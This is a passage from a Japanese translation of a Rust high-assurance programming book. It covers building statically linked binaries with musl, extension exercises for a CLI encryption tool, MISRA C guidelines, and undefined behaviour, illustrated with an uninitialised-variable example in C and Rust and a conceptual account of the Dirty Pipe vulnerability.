  • 資産インベントリ

ホストベースのサポート

個々のマシンを保護するための技術です。企業の従業員が使用するクライアントであれ、顧客向けサービスを実行するサーバーであれ対象になります。 例は次のとおりです。

  • サンドボックス化
  • 強化されたメモリアロケータ
  • エンドポイント検知・対応(EDR)ツール
  • アプリケーション固有のベストプラクティス設定

ネットワークベースのサポート

企業ネットワークをリモート攻撃から保護し、足掛かりの獲得に成功した攻撃者の移動を制限するための技術です。 例は次のとおりです。

  • セキュアなAPIゲートウェイ
  • Webアプリケーションファイアウォール(WAF)
  • セキュリティ情報イベント管理(SIEM)システム
  • 仮想プライベートネットワーク(VPN)インフラストラクチャとゼロトラストアーキテクチャ

運用保証は私たちのライブラリとどのように関係するのでしょうか?

この本の中心的な焦点は、堅牢なデータ構造ライブラリを書くことです。 初期の章で非常に広い範囲を扱うため、見失いやすい点です! 私たちの旅の終盤では、運用保証におけるシステムライフサイクルの構成要素について実践的な経験を積みます。

私たちのライブラリを他のプログラミング言語、すなわち C と Python から利用可能にするバインディングを開発することで、高速で安全な Rust コンポーネントを既存のコードベースに統合するプロセスをシミュレートします。

おそらく、パフォーマンス上の理由から Rust で新機能を書く機会があるかもしれません。 あるいは、セキュリティ上重要でありながらメモリ安全ではないコンポーネントを、Rust の同等物で段階的に置き換えられるかもしれません。 いずれにせよ、Rust コードへのバインディングにより、チームは大規模システムを時間をかけて「堅牢化」(セキュリティ態勢を改善)できます。

要点

この本は「プロダクトセキュリティ」の観点に偏っています。 このセクションの目的は、より大きな全体像、すなわち「エンタープライズセキュリティ」の観点を少し体験してもらうことです。 ソフトウェアセキュリティに関する私たちの議論は、このより広い文脈なしには完全なものにはなりません。

次のセクションでは、システムライフサイクルカテゴリの一側面である、ネイティブクライアント向けのアプリケーションデプロイオプションを紹介します。 私たちは rcli プログラムを独立して動作するようにし、どのエンドユーザーに対しても確実に実行されるようにします。


  1. 余談ですが、この本の著者のひとりは、崩落の 24 時間足らず前に、実際にピッツバーグの橋を歩いて渡っていました。国として比較的裕福であるにもかかわらず、老朽化し、十分に保守されていないインフラは、米国における深刻な問題です。

  2. Operations security。Wikipedia(2022 年閲覧)。

  3. Password Storage Cheat Sheet。OWASP Foundation(2022 年閲覧)。

  4. エラー(何らかの「悪い」条件に達したシステムイベント)を構造化形式でログに記録すると、本番環境で発生した問題の診断に役立ちます。あるいは、セキュリティインシデントにより効果的に対応できます。

  5. アテステーションとは、特定のマシンが、攻撃者によって挿入または改変されたソフトウェアではなく、事前承認済みの特定のソフトウェア一式を実行していることを証明するためのプロセスです。このトピックに関心がある場合は、「Trusted Platform Module」(TPM)が何を行い、Windows 11 でどのように使われているかを調べてみるとよいでしょう。

  6. What is DevSecOps?。Redhat(2018 年)。

運用保証(2/2)

クライアント側の運用保証をほんの少し扱う時間です。 この章のコードをパッケージ化し、現場で「そのまま動く」ようにします。

私たちは、rcli ツールがほぼあらゆる Linux システム上で即座に動作するようにしたいと考えています。 単一の実行可能ファイルをコピーするだけでよいようにします。 セットアップも、OS 固有のパッケージマネージャーでライブラリを取り込むことも不要です。 すべてのユーザーに対して、毎回動作してほしいのです。

このセクションはレッドチームに関係しますか?

関係する可能性があります。 運用保証は、防御側と攻撃側が行う抽象的なゲームと考えることができます。 同様に、ネイティブ実行可能ファイルは異なる目的に役立ちます。

  • 防御: 管理対象のさまざまなホスト(例: 「アセット」)向けの、高性能で信頼性の高いツール。

  • 攻撃: 難読化に適したポータブルなプログラム1。被害者が所有するホスト(例: 「ターゲット」)向け。

自立したバイナリのビルド

静的バイナリは、プログラムとその依存関係をまとめるための実績ある方法です。 これは、実行時に依存関係を見つけてロードするデフォルトである動的リンクの代替手段を提供します。 その機械的な違いを簡単に可視化してみましょう。

動的リンクでは、複数のプロセスが共有依存関係(例: 共有ライブラリ)の同じコピーを使用します。 共有関数は実行時に「解決」されます(呼び出し先のアドレスが決定されます)。 通常、それはプロセスが共有関数を最初に呼び出したときですが、プロセスが最初に「ロード」されたとき(例: プログラムが起動されたとき)である場合もあります2。 共有ライブラリがシステムコール、つまりハードウェアとやり取りするための OS カーネルへのリクエストを行うことは一般的ですが、必須ではありません。 ファイルの読み取りや書き込みにはシステムコールが必要です。


共有依存関係を持つ、動的にリンクされた 2 つのプロセス。

静的リンクは、システムライブラリによって通常提供されるサービスを含め、プログラムに必要なすべての実行可能コードを取り込み、すべてを 1 つのより大きなファイルに組み込みます。 その結果、スタンドアロンのアプリケーションになります。 実行時に何かを解決する必要はありません。 システムコールは必要に応じて直接行われます。


静的にリンクされたプロセスと、動的にリンクされたプロセス。

私たちは運用上のトレードオフを行っているのでしょうか?

はい。 防御側にとって、静的リンクはパッチ適用を複雑にします。 通常、OS のパッケージマネージャーはシステムライブラリを最新の状態に保ちます。 また、個々のプログラムは、関連するライブラリの単一の新しいコピーにリンクできます。

静的リンクでは、依存関係を最新の状態に保つために、個々のプログラムをそれぞれ置き換える必要があります。 特定のコンポーネントの集中管理されたコピーを管理する能力を失います。

複数のプロセスが同じ依存関係に依存している場合、静的にリンクされたプロセスはコードの重複を意味することもあり、その結果 RAM 使用量が増える可能性があります。

しかし、静的リンクは移植性に優れており、多くのプログラミング言語ではすぐにサポートされているわけではありません。 では、Rust ではどのように行うのか見てみましょう。

まず、rcli がデフォルトでは動的にリンクされることを確認します。 crypto_tool/rcli ディレクトリから、次を実行します。

cargo build --release
ldd ../target/release/rcli

ldd は、共有ライブラリ依存関係、つまり OS ディストリビューションが通常管理するものを表示する Linux コマンドです。 したがって、2 番目のコマンドは次のような内容を出力します。

linux-vdso.so.1 (0x00007ffc0196f000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f09369b9000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0936c8e000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f0936996000)
libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f093697b000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f0936975000)

各行は、rcli ツールが機能するためにファイルシステム上のどこかに存在すると想定している共有オブジェクト(.so ファイル)を表しています。

2 番目の項目(libc.so.6 で始まる行)は C 標準ライブラリです。 この章の導入で述べたように、私たちの rcli フロントエンドコードは libc の一部(例: 動的メモリ割り当て用)にリンクしています。 ただし、私たちの RC4 ライブラリはそうではありません(これは #![no_std] コンポーネントです)。

これらのライブラリの存在に依存しないようにするため、代わりに musl(小さな libc 代替3)を使用する静的バイナリをコンパイルできます。

rustup target add x86_64-unknown-linux-musl
cargo build --release --target x86_64-unknown-linux-musl
  • 最初のコマンドは新しいコンパイルターゲット4を追加します。これは一般に {Arch}-{Vendor}-{Sys}-{ABI} 形式の「ターゲットトリプル」で指定されます。

  • 2 番目のコマンドは以前と同様に rcli をビルドしますが、今回はターゲットトリプル x86_64-unknown-linux-musl 向けにビルドします。

では、今度は musl ターゲットのバイナリに対して、もう一度 ldd を試してみましょう。

ldd ../target/x86_64-unknown-linux-musl/release/rcli

出力は次のようになるはずです。

statically linked

rcli 実行可能ファイルの 2 回目のビルドは、任意の x86_64 Linux システムで「そのまま動く」はずです! 必要なのはバイナリをコピーすることだけです。

デバッグ情報の削除

この実行可能ファイルを配布したい場合、デバッグ情報(ソースコードとの対応付けを可能にするシンボルを含みますが、CLI のエンドユーザーが行う必要はないものです)を削除してサイズを減らすべきです。

ワークスペースの設定ファイル crypto_tool/Cargo.toml に次の release プロファイル設定を追加することで、この情報をバイナリから「削除」できます。

[profile.release]
strip = true

この設定は、フラグ --release(最適化を有効にします)付きでビルドされた任意のターゲットに適用されます。 スタンドアロンの Linux ユーティリティである strip5 を使うこともできましたが、ビルドパイプラインへよりきれいに統合するために cargo を活用しました。

musl の代替

musl を活用することは、やや小さめの静的バイナリをビルドする一般的な方法ですが、musl には癖があります。 特にパフォーマンスに関してです。

代わりに、プラットフォームの標準Cランタイム(“CRT”)を静的リンクするには6:

RUSTFLAGS='-C target-feature=+crt-static' cargo build --release --target x86_64-unknown-linux-gnu

警告: musl を使う方法とは異なり、生成されるバイナリは依然として vdso のようなものに対して動的にリンクされる場合があります7ldd を使って検証できます。

要点

完全に自立したツールをビルドする方法を実演しました。 私たちのバイナリは、特定のOSおよびISAのほぼあらゆるクライアント上でネイティブに実行されます8

これでソフトウェア保証の概観は終わりです! 次の章では、Rustそのものを掘り下げます。


  1. hellscape。meme(2021年アーカイブ)。

  2. ld.so。Linuxマニュアル(2022年アクセス)。Linuxでは、この挙動は LD_BIND_NOW 環境変数を空でない文字列に設定することで有効化できます。共有関数の解決をロード時に行う利点は、実行時パフォーマンスがわずかに予測しやすくなることです。プロセスのデバッグにも役立つ場合があります。

  3. musl libc。Rich Felkerおよびコントリビューター(2022年アクセス)。

  4. Platform Support。The Rust Team(2022年アクセス)。

  5. strip。Linuxマニュアル(2022年アクセス)。

  6. RFC 1721。The Rust RFC Book(2022年アクセス)。

  7. vdso。Linuxマニュアル(2022年アクセス)。

  8. 命令セットアーキテクチャ(Instruction Set Architecture)、例: x86_64。

ハンズオン課題: CLI暗号化ツールの拡張

この章で作成した rcli ツールはかなり基本的なものです。 これは意図的なもので、Rustの機能とツール群を簡単に紹介するためのものでした。

最初の課題の目標は、このCLI暗号化ツールを拡張することです。 読者の中には、Rust言語をより体系的な形で紹介する次の章を終えてから、この課題に取り組みたいと思う人もいるかもしれません。 一方で、今すぐコードを書きたくて、進めながらRustをさらに学ぶことをいとわない人もいるでしょう。

以下に、このツールを拡張するための提案をいくつか示します。 1つ以上を選んで構いません。 もちろん、独自のアイデアを実装しても構いません!

コア暗号技術

  • 暗号化アルゴリズムを、私たちのRC4実装から、自分で選んだ現代的なAEAD暗号に切り替えてください。選択するには、さまざまな暗号の長所と短所について調査する必要があります。

    • RustCrypto organizationはいくつかのAEADアルゴリズム実装を保守しています1が、他にも適した成熟したライブラリが見つかるかもしれません。

    • ハードウェア製品の脅威モデルには、デバイスに24時間365日物理的にアクセスできる攻撃者が含まれる場合があります。タイミングおよび電力サイドチャネル耐性について保証を提供するアルゴリズムと実装を見つけられますか?2

CLI UX

  • ユーザーが既存のファイルを上書きする代わりに、新しい暗号化ファイルを作成できる機能を追加してください。ユーザーが既存のファイルを上書きすることを選んだ場合は、色分けされた警告を表示してください(ターミナル出力に色を付けるためのサードパーティライブラリを選ぶ必要があります)。

  • ディレクトリ内のすべてのファイルを再帰的に暗号化する機能を追加してください(これをテストするときは十分に注意してください。ダミーファイルを含む新しいディレクトリを作成したくなるはずです!)。

  • コンソールに Processed {file_name} と出力する代わりに、Encrypted {file_name} または Decrypted {file_name} のいずれかを出力するようにツールを更新してください(ヒント: 暗号化されたバイトストリームを識別するためにテストできるヒューリスティックはありますか?)。

  • バッファリングを使って、一度にメモリへ読み込むには大きすぎるファイルの暗号化をサポートしてください。

CLI統合テスト

  • CLIバイナリを実行し、コマンドライン引数と暗号化または復号する一時ファイルの両方を提供する統合テストを追加してください。テストハーネスをセットアップするには、1つ以上のサードパーティライブラリを使いたくなるでしょう。

  • 無効な入力が適切に処理されることを確認するネガティブテストは、セキュリティテストの重要な一部です。統合ハーネスがそのようなケースを明示的にチェックするようにしてください。



  1. RustCrypto: Authenticated Encryption with Associated Data (AEAD) Algorithms。RustCrypto organization(2022年アクセス)。

  2. サイドチャネル攻撃は、物理システムによって漏えいした情報(タイミング、消費電力、電磁放射、音響放射など)を利用して、セキュリティを侵害します。暗号技術の文脈では、これはしばしば間接的な手段で秘密鍵素材を抽出することを意味します(ソフトウェアのバグは悪用されません!)。一部の暗号アルゴリズムは、この脅威モデルを念頭に置いて設計されています。それらの操作は、外部から観測可能なばらつきを減らすよう慎重に構成されており、サイドチャネル攻撃を著しく困難にするか、完全に非現実的なものにします。

Rustゼロクラッシュ講座


注: 本章の内容は改訂される可能性があります。

前章では、ソフトウェアセキュリティの概念を紹介するために、RustライブラリとCLIツールを一通り見てきました。 本章ではRust言語そのものに焦点を当て、その構文、機能、慣習を概観します。

ただし、Rustのすべてを扱うわけではありません。 Rustは大きな言語です。 CよりもC++にはるかに近いものです。 私たちが気に入っている包括的なRust本であるProgramming Rust1は、700ページを超える大著で、言語機能を容赦なく列挙しています。 これは驚異的な本であり、本書にも大きな着想を与えてくれました。 しかし、それを読み通すには、コストコのミニ樽入りホールビーンコーヒーを何樽も消費するような持久力が必要です。

課題の一部は、Rustが提供する機能の幅広さそのものにあります。 比較的新しい言語であるRustには、後知恵の利点があります。つまり、先行する言語の成功した側面を自由に選び取れるのです。

これには、OCamlの代数的データ型、C++の単相化、Schemeの衛生的マクロなどが含まれます2。 Rustチームは一貫した設計を目指していますが3、この言語はいくつもの影響をうまく取り扱っています。

幸いなことに、Rustで生産的に作業するために、Rustを網羅的に理解する必要はありません。 このセクションでは、重要な概念を先取りして紹介します。Rustのスニペットを読み書きし始めるのに十分な内容です。 本書の残りの部分では、組み込みに適した高保証ライブラリを構築しながら、それらの概念を定着させます。

その基礎があれば、実世界のRustプログラムを自分で書く準備が整います。 また、プロジェクトの必要に応じて、追加の言語機能(スマートポインタ、チャネル、async、マクロなど)の学習にも取り組めるようになります。

Rustのツアーは、やや短めの6つのパートに分けます。

  1. 低レベルのデータ表現 - プリミティブ、タプル、配列、参照、スライス。

  2. 高レベルのデータ表現 - 構造体、列挙型、ジェネリクス、トレイト。

  3. 制御フロー - 条件文、ループ、パターンマッチング。

  4. 所有権の原則 - Rustの最も斬新な機能の中核原則を理解する。

  5. 実践における所有権 - 日々所有権を扱うための概念。

  6. エラー処理 - 失敗の伝播、および/または可用性の維持。

実地で検証済みの保証ガイドラインを重視する

本書は、堅牢で信頼性が高く、安全なシステムを構築するための入門書です。 したがって、本章タイトルのゼロクラッシュというしゃれがあります。

実践可能な保証技法を重視するために、Rustのツアーを、確立された業界標準の文脈で位置付けます。 最も容赦のない本番環境で検証されてきた知見に基づくものです。

Motor Industry Software Reliability Association (MISRA) C4ガイドラインは、その頭字語が示すとおり、もともとは自動車業界向けに作成されたCソフトウェア開発ルールの集合です。

スタイルガイドとは異なり、MISRA Cは安全性が重要なシステムの開発者向けにベストプラクティスを概説しています。 これは信頼性、セキュリティ、保守性を最大化することを意図しています5。 バグが生命を危険にさらす可能性のあるシステムのためのものです。

現在、これらのガイドラインは、航空宇宙、防衛、通信、医療機器の各業界で広く使用されています(DO-178C6やISO-262627のような業界固有のフレームワークに加えて)。 最新バージョン8では、次のように紹介されています。

MISRA Cガイドラインは、間違いを犯す機会が取り除かれる、または減らされるC言語のサブセットを定義する。 安全関連ソフトウェアの開発に関する多くの標準では、言語サブセットの使用が要求または推奨されており、これはセキュリティ、高い完全性、または高い信頼性の要件を持つ任意のアプリケーションの開発にも使用できる。

MISRA Cは何十年にもわたって検証され、洗練されてきました。 規制上の認証の外であっても、これらは高保証システムを構築するための実践的なガイドラインです。

Rustの中核設計は、安全で信頼性の高いソフトウェアの構築に直接適用できます。 unsafeキーワードを使用しないため、本書はRust言語の安全なサブセットを紹介していると言えるでしょう。

本書の目的における「安全なサブセット」

Rustプログラミング言語の「安全なサブセット」を真に構成するものは、現在の標準化および研究活動の対象です。 本書では、安全なサブセットを形式的に定義しようとはしません。

代わりに、コアプロジェクトでは、実務のエンジニアが「安全なサブセット」と見なせるものに自分たちを制限するために、クレート全体に適用される2つのマクロを使用します。

  • #![forbid(unsafe_code)]: unsafeキーワードの使用はコンパイル時エラーになります。これは、Rustの静的保証を最大化するのに役立ちます。

  • #![no_std]: 標準ライブラリの機能(unsafeコードを含みます)は使用しません。より厳密には、すべての動的メモリ使用をオプトアウトします。外部アロケータに依存しないことには、一定の堅牢性上の利点があります。

コアプロジェクトはオープンソースライブラリ9に基づいているため、これらの制約内で作業することが、自明でないコードベースに対しても実行可能であることがわかっています。

さて、Rustは新しい言語であるため、安全性が重要な環境での使用についてはまだ広く認証されていません。ただし、これは業界での取り組み10および研究11が進められている分野です。 自動車(ISO 26262)および産業(IEC 61508)用途向けの認定済みRustコンパイラはありますが、MISRA Cガイドラインに対応するRust版はありません。 まだありません。

多くのMISRA CルールはC言語に固有です。 残りの一部を2つのカテゴリに分け、区別するために次のラベルを使用します。

  • Rustにより自動化(AR): 一貫して従うことが容易なルール、または慣用的なRustで自然に表現できるルール。どのRustプログラムでも、コンパイルできるなら、このカテゴリに従っている可能性が高いです。

  • Rustでも信頼性高く適用可能(RR): 正確性と堅牢性を優先するプログラムの設計および実装に一般的に適用できるルール。Rustでも容易に適用できますが、自動ではありません。プログラマ側の意識的な努力が必要です。

Rust言語の安全なサブセットを紹介する中で、該当するMISRA C8ルールを時折取り上げます。 本章と本書全体の両方で、上記のラベルのいずれかを前に付けます。

予告として、これから書くコアライブラリで準拠する3つのMISRA Cルールを示します(ただし、構築または使用する開発ツールについては、安全性が重要ではないため対象外です)。

[RR, 指令 4.1] 実行時障害を最小限に抑える8

[RR, 指令 4.12] 動的メモリ割り当てを使用してはならない8

[RR, 規則 17.2] 関数は自身を再帰的に(直接または間接に)呼び出すことはできない8

ここでは根拠を省いていることに注意してください。 上記の3つの規則が制約的に見える場合、それらは説得力を持ちます。 幸い、Rust ではこの種の高保証基準を満たすことが実現可能であり、かつ人間工学的です。

MISRA C に対する独自の見方

著作権を尊重するため慎重を期し、各 MISRA 規則の「見出し」については大まかな言い換えのみを提供します。その正確な文言、完全な説明、根拠、例外、カテゴリなどは提供しません。 これは、MISRA 規則を列挙している学術出版物12が採用しているのと同じアプローチです。

いくつかの場合、私たちの言い換えでは MISRA C Guidelines には存在しない Rust 固有の用語を導入します。 MISRA 規則を Rust に対応付ける先行研究13とは異なり、私たちは網羅性を目指しているわけではありません。 保証の概念を学ぶ目的で規則を抽出しています。

本章で言及する MISRA の規則と指令は、次のように分類できます。


私たちの MISRA サンプル(本章で言及する規則)の視覚的な内訳。

大まかに言えば、指令とは、決定的かつ普遍的な方法で記述するのが難しい MISRA 規則です。 指令は、複雑なシステムではチェックや検証がより困難になる傾向があります。 一方で、規則は完全に捉えることが可能です。 多くの場合、静的解析ツール(Rust コンパイラなど)によって正確に検証できます。

繰り返しますが、私たちの MISRA 規則と指令のサンプルは網羅的ではないことに注意してください。 あなたがプロのセーフティまたはセキュリティエンジニアであれば、MISRA C 2012 Guidelines の完全版を MISRA から直接購入することをお勧めします。 広く採用されているベストプラクティスを理解することは、プロジェクトが使用する具体的なツールチェーンに関係なく価値があります。

Rust におけるソフトウェアエンジニアリング

高保証であるかどうかにかかわらず、現代の開発は言語構文や言語機能以上のものです。 それにはツール、プロセス、そして最も重要なものとして人が関わります。外部の顧客と内部のチームです。

効果的なプロセスを実装し、ステークホルダーのニーズに応える方法を学ぶ最良の方法は、プロとしての経験です。 本書ではツールに焦点を当てます。

前章で clap を使用したことで、サードパーティライブラリをビルドに統合する感覚をすでに得ました。 また、Rust の組み込みのファーストパーティ単体テストフレームワークを活用して、私たちの RC4 実装を公式テストベクターに照らして検証しました。 とはいえ、日々の開発タスクを支援するために cargo ができることについては、まだ表面をかすめただけです。 The Cargo Book14 では、より完全な概要が提供されています。

本章では、Rust のツールエコシステムの構成要素を、ファーストパーティとサードパーティの両方からさらにいくつか取り上げます。 また、本番システムで安定性がどのように実現されるのかを理解するために、Rust のリリースサイクルについても説明します。 より一般的には、成功するソフトウェアプロジェクトの重要な柱であるコード構成について取り上げます。

簡単な前提知識: スタック、ヒープ、値

本章では、「スタック」と「ヒープ」という2つの技術用語をときどき使用します。 この文脈では、これらの用語は2種類の異なるメモリ位置を指します。 同じ名前のデータ構造のことではありません(残念な専門用語の過負荷です)。

次章ではメモリについて詳しく説明します。 今のところは、次のように考えてください。

  • スタックメモリは、すぐに利用可能な短期的な(関数呼び出しの期間だけ生存する)ストレージです。ただし、固定サイズの変数しか格納できません。

    • スタックの仕組みは CPU ハードウェアと密接に関係しています。実際、多くのプロセッサには「スタックポインター」と呼ばれる特定のレジスタがあります。

    • スタックメモリはスタックデータ構造のように動作します。メモリの「フレーム」は*後入れ先出し(LIFO)*です。

    • 整数と配列はデフォルトでスタック上に格納されます。

  • ヒープメモリは、明示的に要求し、後でクリーンアップしなければならない長期的な(解放されるまで生存する)ストレージです。ただし、サイズが実行時に決定される変数を格納できます。

    • ヒープの仕組みはソフトウェアによって処理されますが、DRAM ハードウェアに対応します。通常は OS15 と連携して動作するメモリ割り当てライブラリが、RAM のチャンクを管理する複雑なロジックを実装します。

    • ベクターと非リテラル文字列は通常、ヒープ上に格納されます。

スタックとヒープの区別はコンピューターアーキテクチャ上の関心事であり、システムプログラミング言語の構文に現れる必要があります。 「ハードウェアに近い」プログラミングには、ハードウェアとソフトウェアのインターフェイスを反映したメンタルモデルが必要です。

「値」も本章で使用する用語です。 これはあらゆる種類のプログラミング言語にまたがる概念です。

  • とは、型付けされたデータの、メモリ位置に依存しない具体的なインスタンスです。

たとえば、let string_literal = "Hello, World!"; において、string_literal "Hello, World!" が代入された変数(ラベル)です。この値には2つの部分があります。

  1. 型(ここでは T: &'static str。このシグネチャの読み方は後で分解して説明します)

  2. 具体的なビットパターン(特定の UTF-8 文字列 "Hello, World!" をエンコードする何か)。

それでは、ゼロクラッシュコースを始めましょう。

学習成果

  • 高保証ソフトウェアを書くための主要なガイドラインを学ぶ。
  • 「未定義動作」とその影響を理解する。
  • Rust 言語の中核機能を学び、Rust のスニペットを読み書きすることに慣れる。
  • 日々のソフトウェアエンジニアリング作業を容易にするために必須の Rust ツールを学ぶ。

  1. [個人的なお気に入り] Programming Rust: Fast, Safe Systems Development. Jim Blandy, Jason Orendorff, Leonora Tindall (2021).

  2. The Rust Reference: Influences. The Rust Team (2021).

  3. Josh Triplett on Building the Build System of his Dreams. Sean Chen (2022).

  4. MISRA C. MISRA (Accessed 2022).

  5. Assessing the Value of Coding Standards: An Empirical Study. Cathal Boogerd, Leon Moonen (2008). MISRA C 2004 標準を評価したこの論文は、72 個の MISRA 規則のうち欠陥検出に有意に効果的だったのは 12 個だけであり、特定の規則に従うことが、直感に反して、実際には欠陥率を増加させる可能性があると主張しています。これらの結論には議論の余地があり、MISRA C や同様のコーディング標準は、いくつかの業界で引き続きベストプラクティスとなっています。同じ著者による後続研究を除けば、同様の結論に至った他の研究は見つかりませんでした。しかし、完全性のためには、そのような主張にも言及する価値があります。読者には健全な懐疑心を保つことをお勧めします。少なくとも、コーディング標準の影響と適用にはニュアンスがあることには同意できます。

  6. DO-178C. Wikipedia (Accessed 2022).

  7. ISO 26262. Wikipedia(2022年参照)。

  8. MISRA C: 2012 Guidelines for the use of the C language in critical systems (3rd edition). MISRA(2019)。 ↩2 ↩3 ↩4 ↩5

  9. scapegoat. Tiemoko Ballo(2022年参照)。

  10. Ferrocene. Ferrous Systems(2021)。

  11. Towards Rust for Critical Systems. Andre Pinho, Luis Couto, Jose Oliveira(2019)。

  12. The MISRA C Coding Standard and its Role in the Development and Analysis of Safety- and Security-Critical Embedded Software. Roberto Bagnara, Abramo Bagnara, and Patricia Hill(2018)。

  13. MISRA-Rust. Shea Newton(2022年参照)。

  14. The Cargo Book. The Cargo Team(2022年参照)。

  15. ユーザー空間の「メモリアロケータ」は、必要に応じてヒープ容量を増やすために、OS に対して「システムコール」を発行できます。プログラムがヒープメモリを使用する場合、このランタイムサポートライブラリにリンクしなければなりません。これは非常に一般的であり、ほとんどのプログラムはこのように動作します。

未定義動作について

MISRA Cの主要な目標の1つは、コードベースに存在する「未定義動作」(UB)1の量を減らすことです。 第1章でUBについて少し触れましたが、これは不可欠な概念です。 UBを排除することは、高保証ソフトウェアにとって必要ですが、それだけでは十分ではありません。 そこで、Rustの構文に入る前に、このトピックに取り組みましょう。

ISO C標準2は、動作を次のように定義しています。

外部から見た様子または作用。

したがって、**未定義動作(UB)**は次のように定義されています2

移植性のない、または誤ったプログラム構成要素、あるいは誤ったデータを使用した場合の動作であり、この国際標準がいかなる要件も課さないもの。

言い換えると、開発者がうっかりUBを引き起こした場合、プログラムは文字どおり何でもできます。 クラッシュしたり、不正な結果を生成したり、一見無関係な一連の操作を実行したりする可能性さえあります3

ここで「未定義の操作は文字どおり何でもできます」とは言っておらず、「プログラムは」と言っていることに注意してください。 UBについて理解しておくべき重要な事実が1つあります。

  • 未定義動作が引き起こされると、その悪影響は多くの場合、局所化できません。システム全体のセキュリティや信頼性を損なう可能性があります。

UBは、バグや脆弱性の望ましくない原因です。 しかし、複雑な歴史的理由がさまざまにあるため、UBはCとC++の両方の標準に深く組み込まれています。 どちらかの言語からUBのごく一部を取り除くだけでも、利用可能なコンパイラの大部分、または既存のコードをコンパイルする能力が壊れてしまいます。 そのため、実現する可能性は低いでしょう。

私たちにできる最善のことは、それを避けるために入念に努力することです。 つまり、C系のコードベースを徹底的に監査し、綿密にテストすること、そして可能な場合にはRustを導入することを意味します。

CでUBを導入するのはどれほど簡単か?

CおよびC++プログラムは、メモリ安全な言語と比べて、デバッグが難しく悪用されやすいです。なぜなら、UBの導入は些細であり、かつ一般的だからです。

研究者たちは、LinuxカーネルやPostgreSQLのような広く使われているプロジェクトでUBの事例を発見しています4。 第1章でその深刻度と蔓延状況を説明したメモリ破壊バグは、UBの結果の1つにすぎません。

UBがどのようなものか、具体的に感じてみましょう。 以下のCプログラムを考えてください。これは何を返すでしょうか?

#include <stdio.h>

int undef_func() {
    int uninit_var; // 一度も代入されない!
    if (uninit_var > 0) {
        return 1;
    } else {
        return 0;
    }
}

int main() {
    printf("%d\n", undef_func());
}

これはひっかけ問題でした。 答えは1または0であり、その時点でたまたまメモリに入っていた内容によって決まります。 単にif文が未初期化の値を読み取り、その結果に基づいて分岐したからです。 C標準(6.7.8、段落102)は次のように述べています。

自動記憶域期間を持つオブジェクトが明示的に初期化されない場合、その値は不定である。

C標準の文脈では、「不定」とは、変数が次のいずれかであり得ることを意味します。

  • その型の任意の正当な値を取る(例:「未規定値」)。

  • その型のいかなるインスタンスも表さない値を取る(例:「トラップ表現」)。UBが発生します。

どちらの場合も、プログラムの信頼性にとって良い兆候ではありません。 この単純な関数は、標準のこの部分を明示的に対象とするMISRA Cのルールに違反しています。

[AR, Rule 9.1] オブジェクトの値は、書き込まれていない場合には読み取るべきではない5

デフォルトでは、人気のあるオープンソースのCコンパイラであるgccは、この重大なエラーについて警告しません。 以下の警告を得るには-Wallフラグを渡すことを覚えておく必要があり、それでもプログラムはビルドされ実行されます。

undef.c: In function ‘undef_func’:
undef.c:5:8: warning: ‘uninit_var’ is used uninitialized in this function [-Wuninitialized]
    5 |     if (uninit_var > 0) {
      |        ^

残念ながら、特別なコンパイラフラグを覚えておくことは一般的な解決策ではありません。 Cには起こり得る未定義動作が何百もあり、その大多数はコンパイラ警告では検出できません。 したがって、こうした「不正動作」は、コードベースが複雑になるにつれて急速に入り込んでいきます。

この問題の実例は何でしょうか?セキュリティの文脈では?

CVE-2022-0847、別名「Dirty Pipe」は、5.8以降のLinuxカーネルバージョンに影響する、非常に悪用しやすい脆弱性でした(安定版リリース5.16.11、5.15.25、5.10.102でパッチ適用済み6)。 コードのリファクタリングによって構造体のフィールドが未初期化になり、そのUBの事例はコンパイラ警告やテストでは検出されませんでした。

未初期化フィールドは、カーネル空間のpipe_bufferデータ構造のflagsメンバーでした。 これはカーネルが「パイプ」を設定するために使用されます。パイプはプロセス間通信(IPC)機構です。

通常の非特権操作を一連実行することで、攻撃者は、後でページキャッシュの書き込み権限のフラグとして読み取られる(正しくリセットまたは初期化されるのではなく)メモリ上の値を、確実に制御できました6

この不正に得た権限を悪用してファイルにパイプすることで、攻撃者は読み取り専用であるべきシステムファイル内の小さな内容の塊を上書きできます。 これにより、とりわけ、rootパスワードを変更してローカル権限を昇格させ、その後リモートアクセスに使用されるSSH鍵データを上書きすることが可能になります。

実質的に、攻撃者はユーザーに非特権プログラムを実行させるだけで、脆弱なシステムの「完全な制御」を取得できます。すべては1つの未初期化フィールドが原因です! 攻撃者に少しでも隙を与えれば、大きな被害につながる可能性があります。

それをRustで試してみましょう

Rustでも、unsafeキーワード7を使用すれば未定義動作は依然として可能ですが、Rustの安全なサブセットではほぼ排除されています。 これは、Rust言語が正しく信頼性の高いソフトウェアを書くのに非常に適している大きな理由の1つです。 Rustはデフォルトで、UBをほぼ完全に取り除きます。

「ほぼ排除」と「ほぼ完全に」という但し書きはなぜ必要なのか?

本稿執筆時点では、Rust にはまだ公式な言語標準や仕様がありません。 C や C++ の ISO 文書に相当する Rust の文書はありません。 そのため、断定的な主張をするのは困難です。

The Rust Reference には、Rust において未定義と見なされる振る舞いの非網羅的な一覧が含まれており7、それらはいずれも導入するには unsafe キーワードが必要です。 したがって、Rust における UB の潜在的な発生源は、おそらく次の 3 つだけです。

  • 不変条件が実際には維持されていない unsafe 関数またはブロック(私たちの責任)。これには、サポートされていない ABI で外部例外が FFI 境界を越えるような、FFI のエッジケースも含まれます。

  • 健全性を脅かすまれなコンパイラバグ8(発見され次第パッチ適用)。

  • 特定の CPU 拡張のサポートを有効にしてコンパイルされたプログラムを、それらをサポートしていない CPU バリアント上で実行するような、プラットフォーム固有の不変条件違反(デプロイの問題)。

2022 年 7 月、Ferrocene Language Specification(FLS)9 が公開されました。 この仕様は、特定の安全クリティカルな用途向けに認定された Rust コンパイラの商用ダウンストリームである Ferrocene をサポートします。 この仕様は Rust 言語と標準ライブラリ全体を文書化することを目的としていませんが、現在のところ Rust プログラムにおける UB の発生源になり得るものを 21 個列挙しています10

第 12 章では、Rust プログラムの UB を検出するための実験的な動的ツールである miri11 を使用します。

Rust の利点をより実感しやすくするために、バグのある C プログラムを Rust に移植してみましょう。

fn undef_func() -> isize {
    let uninit_var: isize;
    if uninit_var > 0 {
        return 1;
    } else {
        return 0;
    }
}

fn main() {
    println!("{}\n", undef_func());
}

cargo build を実行すると、次のようになります。

